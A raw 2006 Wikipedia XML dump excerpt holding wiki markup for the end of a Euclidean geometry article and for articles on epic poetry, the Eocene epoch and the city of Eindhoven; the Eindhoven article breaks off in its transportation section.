:&lt;math&gt;|PQ| =|PA|+|AQ| \mbox{ or } |PQ| =\pm(|PA|-|AQ|).\,&lt;/math&gt;

==As a description of physical reality==
Euclid believed that his axioms were self-evident statements about physical reality. However, Einstein's theory of [[general relativity]] shows that the true geometry of spacetime is non-Euclidean. For example, if a triangle is constructed out of three rays of light, then in general the interior angles do not add up to 180 degrees due to gravity.

==Classical theorems==

*[[Ceva's theorem]]
*[[Heron's formula]]
*[[Nine-point circle]]
*[[Pythagorean theorem]]
*[[Niccolo Fontana Tartaglia|Tartaglia's formula]]

==See also==
*[[Interactive geometry software]]
*[[Non-Euclidean geometry]]

==External links==
* [http://farside.ph.utexas.edu/euclid.html Euclid's elements], with the original Greek and an English translation on facing pages
*[http://agutie.homestead.com Geometry Step by Step from the Land of the Incas] by Antonio Gutierrez.
*[http://aleph0.clarku.edu/~djoyce/java/elements/toc.html Euclid's elements]
* [http://www.cut-the-knot.org/geometry.shtml Geometry] at [[cut-the-knot]]

[[Category:Euclidean geometry|*]]
[[Category:Elementary geometry|*]]

[[ar:هندسة إقليدية]]
[[da:Euklidisk geometri]]
[[de:Euklidische Geometrie]]
[[el:Ευκλείδεια Γεωμετρία]]
[[fa:هندسه‌ اقليدسی]]
[[fr:Géométrie euclidienne]]
[[ko:유클리드 기하학]]
[[io:Euklidana spaco]]
[[it:Geometria euclidea]]
[[he:גאומטריה אוקלידית]]
[[nl:Postulaten van Euclides]]
[[ja:ユークリッド幾何学]]
[[pl:Geometria euklidesowa]]
[[pt:Geometria euclidiana]]
[[ro:Geometrie euclediană]]
[[fi:Euklidinen geometria]]
[[sv:Euklidisk geometri]]
[[tr:Öklid geometrisi]]
[[zh:欧几里德几何]]</text>
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    <title>Epic poetry</title>
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        <ip>130.91.92.75</ip>
      </contributor>
      <text xml:space="preserve">:''For other meanings of epic, see [[epic (disambiguation)]].''

{{Literature}}

The '''epic''' is a broadly defined [[genre]] of [[poetry]], and one of the major forms of [[narrative]] [[literature]]. It retells in a continuous narrative the life and works of a [[hero]]ic or [[mythology|mythological]] person or group of persons. In the West, the ''[[Iliad]]'', ''[[Odyssey]]'', and the ''[[Nibelungenlied]]''; and in the East, the ''[[Mahabharata]]'', ''[[Ramayana]], '' and ''[[Shahnama]]'' are often cited as examples of the epic genre.  The composition of epic poetry, or of long poems in general, has become uncommon in the Western world since the early 20th century.  The term &quot;epic&quot; however has been recycled to refer to prose works, films, and similar works which are characterized by great length, multiple settings, large numbers of characters, or long span of time involved.  As a result of this change in the use of the word, many prose works of the past may be called &quot;epics&quot; which were not composed or originally understood as such.

==Oral epics or world folk epics== 

The first epics are associated strongly with [[literacy|preliterate]] [[societies]] and [[oral history|oral poetic traditions]]. In these traditions, poetry is transmitted to the audience and from performer to performer by purely oral means. ''World folk epics'' are those epics which are not just [[literary]] [[masterpiece]]s but also an integral part of the [[world view]] of a people. They were originally oral [[literature]]s, which were later written down by either single author or several writers.

Studies of living oral epic traditions in the [[Balkans]] by [[Milman Parry]] and [[Albert Lord]] demonstrated the [[Parataxis|paratactic]] model used for composing these poems. What they demonstrated was that oral epics tend to be constructed in short episodes, each of equal status, interest and importance. This facilitates memorisation, as the poet is recalling each episode and using them to recreate the entire epic as they perform it.

Parry and Lord also showed that the most likely source for written texts of the epics of [[Homer]] was dictation from an oral performance.

See also [[list of world folk-epics]].

==Epics in literate societies==

Literate societies have often copied the epic format; the earliest known European example is Virgil's ''[[Aeneid]]'', which follows both the style and subject matter of [[Homer]]. Other obvious examples are [[Tulsidas]]' [[Sri Ramacharit Manas]], following the style and subject matter of [[Valmiki]]'s [[Ramayana]],. and the [[Persians|Persian]] epic [[Shahnama]] by [[Ferdowsi]].

Classical epic conventions include:

[[Invocatio]] (pray to the muse [of the epic]), [[Prepositio]] (introduction of the epic's theme), [[Enumeratio]] (counting the fighting armys / heroes), [[In medias res]] (start from the middle of an event), [[Deus ex machina]] (interruption / miracle from a god), [[Anticipatio]] (prediction), and [[Ephiteton ornans]] (permanent attributives of the hero[es])

==Notable epic poems==
===Ancient epics (to 600)===
*[[20th century BC]]: The ''[[Epic of Gilgamesh]]'' ([[Sumerian mythology]])
*[[19th century BC]] (traditional date): ''[[Ramayana]]'' ([[Hindu mythology]])
*[[1310s BC|1316 BC]] (traditional date): ''[[Mahabharata]]'' ([[Hindu mythology]]).
*[[8th century BC]]:
** The ''[[Iliad]]'' by [[Homer]] ([[Greek mythology]])
**The ''[[Odyssey]]'' by [[Homer]] ([[Greek mythology]])
*[[Epic Cycle]] (dates uncertain):
** ''[[Titanomachy]]''
** ''[[Theban Cycle]]''
*** ''[[Oedipodea]]'' by [[Cinaethon]]
*** ''[[Thebaid]]''
*** ''[[Epigoni]]'' by [[Antimachus]] of Colophon
*** ''[[Alcmeonis]]''
** ''[[Cypria]]''
** ''[[Aethiopis]]'' by [[Arctinus of Miletus]]
** ''[[Little Iliad]]'' by [[Lesches]]
** ''[[Iliupersis]]'' or ''[[Sack of Ilium]]''
** ''[[Nostoi]]''
** ''[[Telegony]]''
*Non-cyclic Epic
** ''[[Batrachomyomachia]]'' (Battle of the Frogs and Mice)
*[[3rd century BC]]:
**''[[Argonautica]]'' by [[Apollonius of Rhodes]]
*[[2nd century BC]]:
**''[[Annales]]'' by [[Ennius]]
*[[1st century BC]]: 
**''[[Aeneid]]'' by [[Virgil]]
**''[[Metamorphoses (poem)|Metamorphoses]]'' by [[Ovid]]
*[[1st century]]
**''[[Pharsalia]]'' (''Bellum Civile'' or [[Roman_Republic#The_Civil_War_and_Caesar.27s_dictatorship|Civil War]]) by [[Marcus Annaeus Lucanus|Lucan]]
**''Punica'' (''Bellum Punicum'' or [[Second Punic War|Punic War]]) by [[Silius Italicus]]
**''[[Argonautica]]'' by [[Gaius Valerius Flaccus]]
**''Thebaid'' by [[Statius]]
*[[2nd century]]:
**''Buddhacarita'' by [[Asvaghosa|Aśvaghoṣa]]
**''[[Cilappatikaram]]'', a [[South India]]n epic written by [[prince]] [[Ilango Adigal]]
*[[3rd century]]: 
**''Posthomerica'' by [[Quintus of Smyrna]]
*[[5th century]]:
**''[[Dionysiaca]]'' by [[Nonnus]]
*[[6th century]]:
**''[[Manimekalai]]''

===Medieval Epics (600-1500)===
*[[8th century|8th]] to [[10th century]]: 
**''[[Beowulf]]'' ([[Anglo-Saxon mythology]])
*[[10th century]]:
**''[[Shahnama]]'' by [[Firdausi]]
**''[[Bhagavata Purana]]'' ([[Sanskrit language|Sanskrit]] &quot;Stories of the Lord&quot;) 
*[[11th century]]: 
**''[[Digenis Acritas|Digenis Akritas]]'' (''[[Byzantine Empire|Byzantine]] epic poem'')
**''[[La Chanson de Roland]]'' (''[[The Song of Roland]]'')
**''[[Epic of King Gesar]]'' (Tibetan; compiled in 11th century from earlier sources)
*[[12th century]]: 
**''[[The Knight in the Panther Skin]]'' by [[Shota Rustaveli]]
*[[13th century]]:
**''[[Nibelungenlied]]'' ([[Germanic mythology]])
**''[[Brut]]'' by [[Layamon]]
*[[14th century]]:
**''[[Cursor Mundi]]'' by an [[anonymous]] cleric (c. [[1300]])
**''[[Divina Commedia]]'' (''[[The Divine Comedy]]'') by [[Dante Alighieri]]
**''[[The Canterbury Tales]]'' by [[Geoffrey Chaucer]]
**''[[The Tale of the Heike]]'' ([[Japanese]] epic war tale)
*[[15th century]]:
**''[[Alliterative Morte Arthure]]''
**''[[Orlando Innamorato]]'' by [[Matteo Maria Boiardo]] ([[1495]])

===Modern Epics (from 1500)===
*[[16th century]]:
**''[[Orlando Furioso]]'' by [[Ludovico Ariosto]] ([[1516]])
**''[[Os Lusíadas]]'' by [[Luis de Camões]] (c.[[1555]])
**''[[La Gerusalemme liberata]]'' by [[Torquato Tasso]] ([[1575]])
**''[[Ramacharitamanasa]]'' (based on the [[Ramayana]]) by Goswami [[Tulsidas]] ([[1577]])
**''[[The Faerie Queene]]'' by [[Edmund Spenser]] ([[1596]])
*[[17th century]]:
**''[[Obsidio Szigetianae]]'' (&quot;Szigeti veszedelem&quot;; [[Hungarian language|Hungarian]]) by [[Miklós Zrínyi]] ([[1651]])
**''[[Paradise Lost]]'' by [[John Milton]] ([[1667]])
**''[[Paradise Regained]]'' by [[John Milton]] ([[1671]])
**''[[Prince Arthur]]'' by [[Richard Blackmore]] ([[1695]])
**''[[King Arthur]]'' by [[Richard Blackmore]] ([[1697]])
*[[18th century]]:
**''[[Eliza]]'' by [[Richard Blackmore]] ([[1705]])
**''[[Redemption]]'' by [[Richard Blackmore]] ([[1722]])
**''[[Henriade]]'' by [[Voltaire]] ([[1723]])
**''[[Alfred]]'' by [[Richard Blackmore]] ([[1723]])
**''[[Leonidas]]'' by [[Richard Glover]] ([[1737]])
**''[[Epigoniad]]'' by [[William Wilkie]] ([[1757]])
**''The Works of [[Ossian]]'' by [[James MacPherson]] ([[1765]])
**''[[Der Messias]]'' by [[Friedrich Gottlieb Klopstock]] ([[1773]])
**''[[Rossiada]]'' by [[Mikhail Matveyevich Kheraskov]] ([[1771]]-[[1779]])
**''[[Vladimir]]'' by [[Mikhail Matveyevich Kheraskov]] ([[1785]])
**''[[Athenaid]]'' by [[Richard Glover]] ([[1787]])
*[[19th century]]:
**''[[Columbiad]]'' by [[Joel Barlow]] ([[1807]])
**''[[Hyperion (poem)|Hyperion]]'' by [[John Keats]] ([[1818]])
**''[[Don Juan (Byron)|Don Juan]]'' by [[George Gordon Byron, 6th Baron Byron]] ([[1824]])
**''[[Pan Tadeusz]]'' by [[Adam Mickiewicz]] ([[1834]])
**''[[Smrt Smail-age Čengića]]'' by [[Ivan Mažuranić]] ([[1846]]) 
**''[[Kalevala]]'' by [[Elias Lönnrot]] ([[1849]] [[Finnish mythology]])
**''[[Clarel]]'' by [[Herman Melville]] ([[1876]])
**''[[Canigó]]'' by [[Jacint Verdaguer]] ([[1886]])
*[[20th century]]:
**''[[Lahuta e Malcís]]'' by [[Gjergj Fishta]] ([[1902]]-[[1937]])
**''[[Savitri (book)|Savitri]]'' by [[Aurobindo Ghose]] ([[1950]])
**''[[The Odyssey: A Modern Sequel]]'' by [[Nikos Kazantzakis]]
**''The Anathemata'' by [[David Jones (poet)|David Jones]]
**''Maximus'' by [[Charles Olson]]
**''Paterson'' by [[William Carlos Williams]]
**''[[The Changing Light at Sandover]]'' by [[James Merrill]]

== Prose &quot;Epics&quot; ==
*''[[Táin Bó Cúailnge]]'' ([[Irish mythology]]) (prose and verse)
*''[[Hervarar saga]]'' ([[Norse mythology]]) (prose)
*''[[Völsunga saga]]'' ([[Norse mythology]]) (prose)
*''[[Don Quixote]]'' Parts I &amp; II by [[Miguel de Cervantes]] ([[prose]] [[1605]]/[[1615]])
*''[[Moby-Dick]]'' by [[Herman Melville]] ([[prose]] [[1851]])
*''[[Venezuela Heroica]]'', by [[Eduardo Blanco]] ([[1881]]) ([[history]])
*''[[Ulysses (novel)|Ulysses]]'' by [[James Joyce]] ([[prose]] [[1922]])
*''[[The Lord of the Rings]]'' by [[J.R.R. Tolkien]] ([[prose]] [[1954]])

== Other &quot;Epics&quot; ==
*''[[Poetic Edda]]'' ([[Norse mythology]]) (collection of poems, only some narrative)
*''[[The Prelude]]'' by [[William Wordsworth]] (long lyric biographical poem)
*''[[Der Ring des Nibelungen]]'' by [[Richard Wagner]] (opera)
*''[[The Waste Land]]'' by [[T. S. Eliot]]
*''[[The Cantos]]'' by [[Ezra Pound]]

== See also ==

* [[Indian epic poetry]]
* [[Hebrew and Jewish epic poetry]]
* [[Duma (epic) |Duma]] (Ukrainian epic)
* [[List of world folk-epics]]
* [[National epic]]
&lt;!--Other epic POETRY traditions:
  
  Italian - Gerusalemme Liberata, Orlando Furioso
  German - 
  Spanish -
  Portuguese -
  French - 
  English - Paradise Lost
  American - Hiawatha
  African?
--&gt;
* [[Byzantine Empire]] - [[Digenis Acritas|Digenes Akritas]] (11th/12th Century C.E.)

==References==
*''Heroic Song and Heroic Legend'' by [[Jan de Vries]] ISBN 0405105665


==External links==
*[http://WorldChronicle.net WorldChronicle.net]


[[Category:Epics]]
[[Category:Poetic form]]

[[bg:&amp;#1045;&amp;#1087;&amp;#1086;&amp;#1089;]]
[[da:Episk]]
[[de:Epos]]
[[el:&amp;#904;&amp;#960;&amp;#959;&amp;#962;]]
[[es:Epopeya]]
[[eo:Eposo]]
[[fr:Épopée]]
[[fi:Eepos]]
[[io:Epiko]]
[[id:Epos]]
[[he:&amp;#1513;&amp;#1497;&amp;#1512;&amp;#1492; &amp;#1488;&amp;#1508;&amp;#1497;&amp;#1514;]]
[[lv:Liroepika]]
[[hu:Epika]]
[[nl:Epiek]]
[[no:Epikk]]
[[ja:&amp;#21465;&amp;#20107;&amp;#35433;]]
[[pl:Epos]]
[[ru:Эпос]]
[[sk:Epos]]
[[sl:Ep]]
[[sr:&amp;#1045;&amp;#1087;&amp;#1080;&amp;#1082;&amp;#1072;]]
[[zh:&amp;#21490;&amp;#35799;]]</text>
    </revision>
  </page>
  <page>
    <title>Eocene</title>
    <id>9419</id>
    <revision>
      <id>42033815</id>
      <timestamp>2006-03-03T09:50:08Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Pole]] to [[Geographical pole]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''Eocene''' [[epoch (geology)|epoch]] (56-34 [[annum|Ma]]) is a major division of the [[geologic timescale]] and the second epoch of the [[Palaeogene]] [[geologic period|period]] in the [[Cenozoic era]]. The Eocene spans the time from the end of the [[Paleocene]] epoch to the beginning of the [[Oligocene]] epoch. The start of the Eocene is marked by the emergence of the first modern [[mammal]]s. The end is set at a major [[extinction event]] that may be related to the impact of one or more large [[bolide]]s in [[Siberia]] and in what is now [[Chesapeake Bay]]. Still, as with other [[geologic period]]s, the [[Stratum|strata]] that define the start and end of the epoch are well identified, but their exact dates are slightly uncertain.

The name Eocene comes from the Greek ''eos'' (dawn) and ''ceno'' (new) and refers to the &quot;dawn&quot; of modern ('new') mammalian fauna that appeared during the epoch. 

{{Paleogene Footer}}

==Eocene subdivisions==
The Eocene is usually broken into lower and upper subdivisions. The Faunal stages from youngest to oldest are:
{|
| [[Priabonian]]
| (37.2 ± 0.1 – 33.9 ± 0.1 [[annum|Ma]])
|-
| [[Bartonian]]
| (40.4 ± 0.2 – 37.2 ± 0.1 Ma)
|-
| [[Lutetian]]
| (48.6 ± 0.2 – 40.4 ± 0.2 Ma)
|-
| [[Ypresian]]
| (55.8 ± 0.2 – 48.6 ± 0.2 Ma)
|}

==Eocene climate==
Marking the start of the Eocene, the planet heated up in one of the most rapid (in geologic terms) and extreme global warming events recorded in geologic history, called the [[Paleocene-Eocene Thermal Maximum]] or Initial Eocene Thermal Maximum (PETM or IETM). This was an episode of rapid and intense warming (up to 7°C at high latitudes) that lasted less than 100,000 years [http://www.giss.nasa.gov/research/intro/schmidt_02/]. The Thermal Maximum provoked a sharp extinction event that distinguishes Eocene [[fauna (animals)|fauna]] from the ecosystems of the [[Paleocene]].

The Eocene global climate was perhaps the most homogeneous of the Cenozoic; the temperature gradient from [[equator]] to [[Geographical pole|pole]] was only half as much as it is today, and deep [[ocean current]]s were exceptionally warm compared to today.[http://www.ga.gov.au/odp/publications/tnotes/tn20-4/leg171c.html]  
The polar regions were much warmer than today, so mild that warm temperate forests extended right to the poles. They were also much wetter than today. The polar regions may have been at least as mild as the modern-day [[Pacific Northwest]]. Tropical climates extended as far north as 45 degrees latitude away from the Equator.

[[Climate]]s remained warm through the rest of the Eocene, although slow global cooling, which eventually led to the [[Pleistocene]] [[glaciation]]s, started around the end of epoch as ocean currents around [[Antarctica]] cooled.

==Eocene paleogeography==
During the Eocene, the [[continent]]s continued to [[plate tectonics|drift]] toward their present positions.

At the beginning of the period, [[Australia]] and [[Antarctica]] remained connected, and warm [[equator]]ial currents mixed with colder Antarctic waters, distributing the heat around the world and keeping global temperatures high. But when Australia split from the southern continent around 45 mya, the warm equatorial currents were deflected away from Antarctica, and an isolated cold water channel developed between the two continents. The Antarctic region cooled down, and the ocean surrounding [[Antarctica]] began to freeze, sending cold water and icefloes north, reinforcing the cooling.   

The northern [[supercontinent]] of [[Laurasia]] began to break up, as [[Europe]], [[Greenland]] and [[North America]] drifted apart. 
   
In western North America, [[Orogeny|mountain building]] started in the Eocene, and huge lakes formed in the high flat basins among uplifts.

Europe saw the [[Tethys Sea]] finally vanish, while the uplift of the [[Alps]] isolated its final remnant, the [[Mediterranean Sea|Mediterranean]], and created another shallow sea with island [[archipelago]]s to the north. Though the North [[Atlantic Ocean|Atlantic]] was opening, a land connection appears to have remained between North America and Europe as the faunas of the two regions are very similar.

[[India]] continued its journey away from [[Africa]], and began its collision with [[Asia]], folding the [[Himalaya]]s into existence.

*[http://jan.ucc.nau.edu/~rcb7/terpaleo.html Detailed maps of Tertiary Western North America]: Eocene
*[http://www.scotese.com/newpage9.htm Map of Eocene Earth]

It is hypothesized that the Eocene hothouse world was due to runaway global warming from released methane cathrates deep in the oceans. The cathrates were buried beneath mud that was disturbed as the oceans warmed. Methane (CH4) has ten to twenty times the greenhouse gas effect of Carbon Dioxide (CO2).

==Eocene flora==
At the beginning of the Eocene, the high temperatures and warm oceans created a moist, balmy environment, with forests spreading throughout the earth from pole to pole. Apart from the driest deserts, Earth must have been entirely covered in forests.

Polar forests were quite extensive. Fossils and even preserved remains of trees such as [[swamp cypress]] and [[dawn redwood]] from the Eocene have been found in Ellesmere Island in the Canadian Arctic. As aforementioned, the preseved remains found in the Canadian Arctic are not fossils, but actual pieces preserved in oxygen-poor water in the swampy forests of the time, and then buried before they had the chance to decompose. Even at that time, Ellesmere Island was only a few degrees in latitude further south than it is today. Fossils of subtropical and even tropical trees and plants from the Eocene have also been found in Greenland and Alaska. [[Tropical rainforest]]s grew as far north as the [[Pacific Northwest]] and [[Europe]].

[[Palm tree]]s were growing as far north as [[Alaska]] and northern [[Europe]] during the early Eocene, although they became less and less abundant as the climate cooled. [[Dawn redwood]]s were far more extensive as well.

Cooling began mid-period, and by the end of the Eocene continental interiors had begun to dry out, with forests thinning out considerably in some areas. The newly-evolved [[grasses]] were still confined to river banks and lake edges, and had not yet expanded into [[plains]] and [[savanna]]s.

The cooling also brought seasonal changes. [[Deciduous]] trees, better able to cope with large temperature changes, began to overtake [[evergreen]] tropical species. By the end of the period, deciduous forests covered large parts of the northern continents, including North America, Eurasia and the [[Arctic]], and rainforests held on only in equatorial [[South America]], [[Africa]], [[India]] and [[Australia]].

Antarctica, which began the Eocene fringed with a warm temperate to sub-tropical rainforest, became much colder as the period progressed; the heat-loving tropical [[flora (plants)|flora]] was wiped out, and by the beginning of the [[Oligocene]] the continent hosted deciduous forests and vast stretches of [[tundra]].

==Eocene fauna==
[[Image:Mesonyx.jpg|thumb|right|''Mesonyx'', a carnivorous ungulate]]
The oldest known [[fossil]]s of most of the modern mammal orders appear within a brief period during the early Eocene. At the beginning of the Eocene, several new mammal groups arrived in North America. These modern mammals, like [[artiodactyl]]s, [[perissodactyls]] and [[primate]]s, had features like long, thin legs, feet and hands capable of grasping, as well as differentiated [[teeth]] adapted for chewing. Dwarf forms reigned. All the members of the new mammal orders were small, under 10&amp;nbsp;kg; based on comparisons of tooth size, Eocene mammals were only 60 per cent of the size of the primitive [[Paleocene]] mammals that had preceded them. They were also smaller than the mammals that followed them. It is assumed that the hot Eocene temperatures favored smaller animals that were better able to manage heat.

Both groups of modern [[ungulate]]s (hoofed animals) became prevalent due to a major radiation between Europe and North America; along with carnivourous ungulates like ''[[Mesonyx]]''. Early forms of many other modern mammalian orders appeared, including [[bat]]s, [[proboscidea|proboscidian]]s, [[primate]]s, [[rodent]]s and [[marsupials]]. Older primitive forms of mammals declined in variety and importance. Important Eocene land fauna fossil remains have been found in western North America, Europe, [[Patagonia]], [[Egypt]] and [[South-East Asia]]. Marine fauna are best known from [[South Asia]] and the southeast [[United States]].

Reptile fossils are also known from the Eocene, such as the fearsomely enormous crocodile ''[[Deinosuchus]]'', which lived as far north as Wyoming during the Eocene and grew much larger than the modern-day [[saltwater crocodile]]. Python fossils and turtle fossils are also known from [[North America]].

During the Eocene plants and marine faunas became quite modern. Many modern [[Aves|bird]] orders first appear in the Eocene.

==Eocene oceans==
The Eocene oceans were warm and teeming with [[fish]] and other sea life.  The first [[Carcharhiniformes|Carcharinid sharks]] appeared, as did early marine mammals, including ''[[Basilosaurus]]'', an early species of [[whale]] that is thought to be descended from land animals, the hoofed predators called [[mesonychid]]s, of which ''[[Mesonyx]]'' was a member.

See also:
*[http://www.intersurf.com/~chalcedony/Basilosaurus1.html Basilosaurus Primitive Eocene Whales]
*[http://darla.neoucom.edu/DEPTS/ANAT/whaleorigins.htm Eocene Whale Origins]

==See also==
*[[London Clay]]
*[[Messel Pit]] in Germany

==External links==
*[http://www.scotese.com/ PaleoMap Project]
*[http://www.palaeos.com/Cenozoic/Eocene/Eocene.htm Paleos Eocene page]
*[http://www.pbs.org/wgbh/evolution/change/deeptime/eocene.html PBS Deep Time: Eocene]
*[http://www.coloradomtn.edu/campus_rfl/staff_rfl/kohls/eocene.html Eocene Fossils]
*[http://www.dmap.co.uk/fossils/ Eocene and Oligocene Fossils]
*[http://www.carnegiemnh.org/research/eosimias/index.html Eocene Primate, Carnegie Museum of Natural History]
*[http://www.sas.upenn.edu/earth/arctic/ The UPenn Fossil Forest Project, focusing on the Eocene polar forests in Ellesmere Island, Canada]

[[Category:Eocene| ]]

[[ca:Eocè]]
[[de:Eozän]]
[[et:Eotseen]]
[[eo:Eoceno]]
[[fr:Éocène]]
[[it:Eocene]]
[[he:איאוקן]]
[[lb:Eozän]]
[[nl:Eoceen]]
[[ja:始新世]]
[[pl:Eocen]]
[[pt:Eoceno]]
[[sv:Eocen]]</text>
    </revision>
  </page>
  <page>
    <title>Eindhoven</title>
    <id>9420</id>
    <revision>
      <id>39074018</id>
      <timestamp>2006-02-10T15:08:57Z</timestamp>
      <contributor>
        <ip>195.37.79.149</ip>
      </contributor>
      <comment>disambiguation from [[Heritage]] to [[Cultural heritage]]</comment>
      <text xml:space="preserve">{{Infobox Dutch municipality 2 |
  name=Eindhoven | province=[[North Brabant]] | map=LocatieEindhoven.png |
  area=88.84 | land=87.75 | water=1.09 |
  population=209,286 | population_year=(2006) | density=2,377}}

'''Eindhoven''' is a [[municipality]] and a  [[city]] located in the province of [[Noord-Brabant]] in the south of the [[Netherlands]], originally at the [[confluence]] of the [[Dommel]] and [[Gender (creek)|Gender]] [[brook]]s. The [[Gender (creek)|Gender]] has been dammed off in the post-[[World War II|war]] years, but the [[Dommel]] still runs through it. 

Neighbouring cities and towns include [[Son en Breugel]], [[Nuenen, Gerwen en Nederwetten|Nuenen]], [[Geldrop-Mierlo|Geldrop]], [[Valkenswaard]], [[Waalre]], [[Veldhoven]], [[Oirschot]] and [[Best]].

==The city of Eindhoven==
[[Image:WapenEindhoven.png|thumb|right|Coat of arms of the Municipality of Eindhoven]]

===History===
The written history of Eindhoven started in [[1232]], when Duke [[Henry I, Duke of Brabant|Hendrik I of Brabant ]] granted [[City rights in the Netherlands|city rights]] to ''Endehoven'', then a small town right on the confluence of the Dommel and Gender streams. The city's name translates literally as &quot;End Yards&quot;, reflecting its position at the southern end of Woensel. At the time of granting of its [[royal charter|charter]], Eindhoven had approximately 170 houses enclosed by a [[rampart]]. Just outside of the city walls stood a small castle. The city was also granted the right to organize a weekly market and the farmers in nearby villages were obliged to come to Eindhoven to sell their produce.  Another factor in its establishment was its location on the trade route from Holland to [[Liège (city)|Liège]].

Around [[1388]] the city's fortifications were strengthened further. And between [[1413]] and [[1420]], a new castle was built within the city walls. In [[1486]], Eindhoven was plundered and burned by troops from [[Gelderland]]. The reconstruction was finished in [[1502]], with a stronger rampart and a new castle. However, in [[1543]] Eindhoven falls again: its defense works were neglected due to poverty.

A big fire in [[1554]] destroyed 75% of the houses but by [[1560]] these had been rebuilt with the help of [[William I of Orange]]. During the [[Dutch Revolt]], Eindhoven changed hands between the Dutch and the [[Spain|Spanish]] several times, until finally in [[1583]] it was captured by Spanish troops and its city walls demolished. Eindhoven did not become part of the Netherlands until [[1629]].

The [[industrial revolution]] of the [[Nineteenth Century]] provided a major growth impulse. Canals, roads and railroads were constructed. Eindhoven was connected to the major [[Zuid-Willemsvaart]] canal through the [[Eindhovens Kanaal]] branch in [[1843]] and was connected by rail to [[Tilburg]], [['s-Hertogenbosch]], [[Venlo]] and [[Belgium]] between [[1866]] and [[1870]]. Industrial activities initially centred around [[tobacco]] and [[textile]] and boomed with the rise of [[lighting]] and [[electronics]] giant [[Philips]], which was founded as a [[light bulb]] manufacturing company in Eindhoven in [[1891]].

The explosive growth of industry in the region and the subsequent housing needs of workers called for radical changes in administration, as the City of Eindhoven was still confined to its [[Middle Ages|medieval]] [[moat]] city limits. In [[1920]], the five neighbouring [[municipality|municipalities]] of Woensel (to the north), [[Tongelre]] (northeast and east), Stratum (southeast), Gestel en Blaarthem (southwest) and Strijp (west), which already bore the brunt of the housing needs and related problems, were incorporated into the new Groot-Eindhoven (&quot;Greater Eindhoven&quot;) municipality. The prefix &quot;Groot-&quot; was later dropped.

The early [[twentieth Century]] saw additions in technical industry with the advent of [[car]] and [[truck]] manufacturing company [[DAF Trucks|Van Doorne's Automobiel Fabriek]] (DAF) and the subsequent shift towards electronics and engineering, with the traditional tobacco and textile industries waning and finally disappearing in the [[Seventies]].

Large-scale [[air raid]]s in [[World War II]] (Eindhoven was a target in [[Operation Market Garden]] because of its industrial importance) destroyed large parts of the city. The reconstruction that followed left very little historical remains and the post-war reconstruction period saw drastic renovation plans in [[highrise]] style, some of which were implemented. At the time, there was little regard for historical [[Cultural heritage|heritage]]; in the [[Sixties]], a new [[city hall]] was built and its medieval predecessor demolished to make way for a planned [[arterial road]] that never materialised.

The Seventies, [[Eighties]] and [[Nineties]] saw large-scale housing developments in the districts of Woensel-Zuid and Woensel-Noord, making Eindhoven the fifth-largest city in the Netherlands.

===Geography===
The villages and city that make up modern Eindhoven have originally been built on sandy elevations between the Dommel, Gender and [[Tongelreep]] streams. Starting from the Nineteenth Century, the [[basin]]s of the streams themselves have also been used as housing grounds, leading to occasional floodings in the city centre. Partly to reduce flooding, the Gender stream, which flowed straight through the city centre, was dammed off and filled up after the War, and the course of the Dommel was regulated. New [[ecology|ecologial]] and [[socio-historical]] insights have led to parts of the Dommel's course being restored to their original states, and plans to have the Gender flow through the centre once again ([http://www.cognito.nl/stadsdeelkantoren/centrum/item.asp?newsid=2238 link to article in Dutch]).

The large-scale housing developments of the Twentieth Century saw residential areas being built on former [[agriculture|agricultural lands]] and [[forest|woods]], former [[heath (habitat)|heaths]] that had been turned into cultivable lands in the Nineteenth Century.

===Industry===
Eindhoven has grown from a little village in 1232 to the fifth largest city in the [[Netherlands]] with well over 200,000 inhabitants in 2005. Much of its growth is due to [[Philips]] and [[DAF Trucks]].  

In [[1891]], brothers Gerard and [[Anton Philips]] founded the small light bulb factory that would grow into one of the largest electronics firms in the world. Philips' presence is probably the largest single contributing factor to the major growth of Eindhoven in the 20th century. It attracted and spun off many hi-tech companies, making Eindhoven a major technology and industrial hub. In [[2005]], a full third of the total amount of money spent on research in the Netherlands was spent in or around Eindhoven. A quarter of the jobs in the region are in [[technology]] and [[ICT]], with companies such as [[ASML]], [[Toolex]], [[Simac]], [[Neways]], [[Atos Origin]] and the aforementioned Philips and DAF. 

Prime examples of industrial heritage in Eindhoven are the renovated Witte Dame (&quot;White Lady&quot;) complex, a former Philips lamp factory; and the Admirant building (informally known as Bruine Heer or &quot;Brown Gentleman&quot; in reference to the Witte Dame across the street), the former Philips main offices.  The Witte Dame currently houses the municipal [[library]], the [[Design Academy]] and a selection of shops. The Admirant is has been renovated into an office building for small companies. Across the street from the Witte Dame and next to the Admirant is Philips' first light bulb factory. The small building now houses the Philips company museum.

===Administration and population===
After the incorporation of 1920, the five former municipalities became districts of the Municipality of Eindhoven, with Eindhoven-Centrum (the City proper) forming the sixth. Since then, an additional seventh district has been formed by dividing the largest district, that of Woensel, into Woensel-Zuid and Woensel-Noord.

At the turn of the century, a whole new housing development called [[Meerhoven]] was constructed at the site of the old [[airport]] of Welschap, west of Eindhoven. The airport itself, now called [[Eindhoven Airport]], had moved earlier to a new location, paving the way for much needed new houses. Meerhoven is part of the Strijp district and partially lies on lands annexed from the municipality of [[Veldhoven]].

Of all Eindhoven districts, the historical centre is by far the smallest in size and population, numbering only 4,769 in [[2004]].

Population figures for all districts, as of [[January 1]] [[2004]], sorted by size:

# Woensel-Noord (66,126)
# Woensel-Zuid (35,010)
# Stratum (31,652)
# Gestel (27,261)
# Strijp (23,424)
# Tongelre (19,658)
# Eindhoven-Centrum (4,769)

===Culture===

[[Image:vanabbemuseum2.jpg|thumb|270px|Modern part of Van Abbemuseum]]

The students from the [[Eindhoven University of Technology]] and a number of undergraduate schools give Eindhoven a young population.

Eindhoven has a lively cultural scene.  For going out, there are numerous bars on the Market square, the Stratumseind, the Dommelstraat, the Wilhelmina square and throughout the rest of the city.  During spring and summer, Eindhoven houses the Fiesta del Sol and the Virus Festival. 

The [[Van Abbemuseum]] has a collection of modern and contemporary art, including works by [[Picasso]] and [[Chagall]]. 

Eindhoven was home to the [[Evoluon]] [[science museum]], sponsored by [[Philips]]. The Evoluon building is currently used as a conference centre.

During [[Carnival]], Eindhoven is rechristened Lampegat (Lamp Hole).

===Transportation===
Eindhoven is a [[rail transport]] node with connections in the directions of:
